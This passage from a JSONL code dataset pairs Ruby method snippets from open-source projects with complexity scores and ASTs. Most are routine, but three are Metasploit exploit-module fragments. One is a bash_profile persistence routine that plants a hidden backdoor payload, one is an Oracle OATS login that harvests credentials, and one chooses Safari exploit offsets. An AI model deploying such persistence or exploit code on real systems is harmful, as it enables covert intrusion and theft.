end","complexity_score":40.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ota_login!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_auth_spec\"]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"olt\"]},{\"type\":\"str\",\"children\":[\"faces\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"session_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Upgrade-Insecure-Requests\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSUSERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSPASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"org.apache.myfaces.trinidad.faces.FORM\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"form_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Adf-Window-Id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"adf_window_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.ViewState\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"view_state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Adf-Page-Id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"adf_page_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"btnSubmit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"event.btnSubmit\"]},{\"type\":\"str\",\"children\":[\"<m xmlns=\\\"http://oracle.com/richClient/comm\\\"><k v=\\\"type\\\"><s>action</s></k></m>\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response from server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Login failed\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Login failed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSUSERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OATSPASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"load_view_redirect_value\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]}]}","id":"20ce75a1-109c-4b01-8117-006f34cf63e5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20240307180905_migrate_devise_two_factor_secrets.rb","start_line":129,"raw_source":"def abort_with_decryption_error(user)\n    abort <<~MESSAGE\n\n      ERROR: Unable to decrypt OTP secret for user #{user.id}.\n\n      This is most likely because you have changed the value of `OTP_SECRET` at some point in\n      time after the user configured 2FA.\n\n      In this case, their OTP secret had already been lost with the change to `OTP_SECRET`, and\n      proceeding with this migration will not make the situation worse.\n\n      Please double-check that you have not accidentally changed `OTP_SECRET` just for this\n      migration, and re-run the migration with `MIGRATION_IGNORE_INVALID_OTP_SECRET=true`.\n\n      Migration aborted.\n    MESSAGE\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"abort_with_decryption_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ERROR: Unable to decrypt OTP secret for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"This is most likely because you have changed the value of `OTP_SECRET` at some point in\\n\"]},{\"type\":\"str\",\"children\":[\"time after the user configured 2FA.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"In this case, their OTP secret had already been lost with the change to `OTP_SECRET`, and\\n\"]},{\"type\":\"str\",\"children\":[\"proceeding with this migration will not make the situation worse.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Please double-check that you have not accidentally changed `OTP_SECRET` just for this\\n\"]},{\"type\":\"str\",\"children\":[\"migration, and re-run the migration with `MIGRATION_IGNORE_INVALID_OTP_SECRET=true`.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Migration aborted.\\n\"]}]}]}]}","id":"f3c20da6-7440-4b73-9b0b-7fca75bf230f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/persistence/bash_profile.rb","start_line":102,"raw_source":"def install_persistence\n    super\n    # create Bash profile backup on local system before persistence is added\n    ppath = profile_path\n    backup_profile = read_file(ppath)\n\n    backup_profile_path = store_loot(\"desktop.#{datastore['BASH_PROFILE'].split('/').last}\", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')\n    print_status(\"Created backup Bash profile: #{backup_profile_path}\")\n\n    if payload.arch.first == 'cmd'\n      pload = payload.encoded\n      pload = pload.sub(/&$/, '') # remove trailing & since we add it later\n      exec_payload_string = \"#{pload} > /dev/null 2>&1 & \\n\" # send stdin,out,err to /dev/null\n    else\n      # upload persistent payload to target and make executable (chmod 700)\n      payload_path = writable_dir\n      payload_path = payload_path.end_with?('/') ? payload_path : \"#{payload_path}/\"\n      payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)\n      payload_path << payload_name\n      upload_and_chmodx(payload_path, generate_payload_exe)\n\n      # write payload trigger to Bash profile\n      exec_payload_string = \"#{payload_path} > /dev/null 2>&1 & \\n\" # send stdin,out,err to /dev/null\n    end\n    append_file(ppath, exec_payload_string)\n    vprint_status('Created Bash profile persistence')\n    print_good('Payload will be triggered when target opens a Bash terminal')\n\n    @clean_up_rc << \"rm #{payload_path}\\n\"\n    @clean_up_rc << \"upload #{backup_profile_path} #{ppath}\"\n  end","complexity_score":56.3,"ast_json":"{\"type\":\"def\",\"children\":[\"install_persistence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"ppath\",{\"type\":\"send\",\"children\":[null,\"profile_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"backup_profile\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"ppath\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"backup_profile_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"desktop.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BASH_PROFILE\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]}]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"backup_profile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BASH_PROFILE\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]},{\"type\":\"str\",\"children\":[\"bash profile backup\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created backup Bash profile: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_profile_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"arch\"]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pload\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"&$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exec_payload_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pload\"]}]},{\"type\":\"str\",\"children\":[\" > /dev/null 2>&1 & \\n\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"send\",\"children\":[null,\"writable_dir\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BACKDOOR_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_chmodx\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exec_payload_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\" > /dev/null 2>&1 & \\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"append_file\",{\"type\":\"lvar\",\"children\":[\"ppath\"]},{\"type\":\"lvar\",\"children\":[\"exec_payload_string\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Created Bash profile persistence\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Payload will be triggered when target opens a Bash terminal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@clean_up_rc\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@clean_up_rc\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"upload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_profile_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ppath\"]}]}]}]}]}]}","id":"c68e215f-60d5-4b95-96bf-92a3ba8dbc3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb","start_line":106,"raw_source":"def resolve_jira_projects(args = {}, context = { current_user: user })\n    resolve(described_class, obj: jira_integration, args: args, ctx: context)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_jira_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[null,\"jira_integration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"4d551016-f774-4eea-bea4-92a5017af7c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/browser/safari_in_operator_side_effect.rb","start_line":441,"raw_source":"def get_offsets(user_agent)\n    if user_agent =~ /Intel Mac OS X (.*?)\\)/\n      osx_version = Regexp.last_match(1).gsub('_', '.')\n      if user_agent =~ %r{Version/(.*?) }\n        if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('13.1')\n          print_warning \"Safari version #{Regexp.last_match(1)} is not vulnerable\"\n          return false\n        else\n          print_good \"Safari version #{Regexp.last_match(1)} appears to be vulnerable\"\n        end\n      end\n      mac_osx_version = Rex::Version.new(osx_version)\n      if mac_osx_version >= Rex::Version.new('10.15.5')\n        print_warning \"macOS version #{mac_osx_version} is not vulnerable\"\n      elsif mac_osx_version < Rex::Version.new('10.14')\n        print_warning \"macOS version #{mac_osx_version} is not supported\"\n      elsif offset_table.key?(osx_version)\n        return offset_table[osx_version]\n      else\n        print_warning \"No offsets for version #{mac_osx_version}\"\n      end\n    else\n      print_warning 'Unexpected User-Agent'\n    end\n    return false\n  end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_offsets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Intel Mac OS X (.*?)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"osx_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Version/(.*?) \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"13.1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Safari version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" is not vulnerable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Safari version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" appears to be vulnerable\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"mac_osx_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"osx_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac_osx_version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"10.15.5\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"macOS version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac_osx_version\"]}]},{\"type\":\"str\",\"children\":[\" is not vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac_osx_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"10.14\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"macOS version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac_osx_version\"]}]},{\"type\":\"str\",\"children\":[\" is not supported\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset_table\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"osx_version\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset_table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"osx_version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No offsets for version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac_osx_version\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Unexpected User-Agent\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"0b41970c-7c9a-47bc-943e-0cbe092865a1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/memory_store_test.rb","start_line":98,"raw_source":"def setup\n    @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new(\"aaaaaaaaaa\"))\n    @cache = ActiveSupport::Cache.lookup_store(:memory_store, expires_in: 60, size: @record_size * 10 + 1)\n  end","complexity_score":12.35,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@record_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"lookup_store\",{\"type\":\"sym\",\"children\":[\"memory_store\"]}]},\"send\",{\"type\":\"sym\",\"children\":[\"cached_size\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"Entry\"]},\"new\",{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"lookup_store\",{\"type\":\"sym\",\"children\":[\"memory_store\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record_size\"]},\"*\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"fdc4ce2a-08cd-483b-95f9-b38f6d5ff55d"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/cookies.rb","start_line":287,"raw_source":"def values\n        to_hash.values\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"values\"]}]}","id":"0437d2c6-e686-4f96-bee0-af48cf193686"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/design_management/design_at_version_spec.rb","start_line":282,"raw_source":"def find(the_id)\n      described_class.lazy_find(the_id)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"the_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"lazy_find\",{\"type\":\"lvar\",\"children\":[\"the_id\"]}]}]}","id":"b08e2891-5ea8-41bd-80d2-8d059d24f77f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/link_handlers/colon_separator.rb","start_line":42,"raw_source":"def applicable?\n        matcher.sep == \":\" && valid_prefix? && oid.present?\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"applicable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matcher\"]},\"sep\"]},\"==\",{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"send\",\"children\":[null,\"valid_prefix?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oid\"]},\"present?\"]}]}]}","id":"44d007b1-c679-47f7-9ca5-bcc32a98afbc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/ai_usage.rb","start_line":22,"raw_source":"def set_start_date(date_string)\n        # Find the first date input (from date)\n        date_inputs = all(\".ai-usage__custom-date-pickers input[type='date']\")\n        date_inputs[0].set(date_string)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_start_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date_inputs\",{\"type\":\"send\",\"children\":[null,\"all\",{\"type\":\"str\",\"children\":[\".ai-usage__custom-date-pickers input[type='date']\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_inputs\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"date_string\"]}]}]}]}","id":"4cbe61f3-1d60-4ead-83b5-f75d7547c8ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host_list.rb","start_line":36,"raw_source":"def hosts=(hosts)\n          @mutex.synchronize do\n            @hosts = hosts\n            unsafe_shuffle\n          end\n\n          set_metrics!\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hosts=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hosts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hosts\",{\"type\":\"lvar\",\"children\":[\"hosts\"]}]},{\"type\":\"send\",\"children\":[null,\"unsafe_shuffle\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_metrics!\"]}]}]}","id":"7007f288-91f7-4dc4-881d-30465a7123d9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/theme_helper.rb","start_line":26,"raw_source":"def custom_stylesheet\n    return if active_custom_stylesheet.blank?\n\n    stylesheet_link_tag(\n      custom_css_path(active_custom_stylesheet),\n      host: root_url,\n      media: :all,\n      skip_pipeline: true\n    )\n  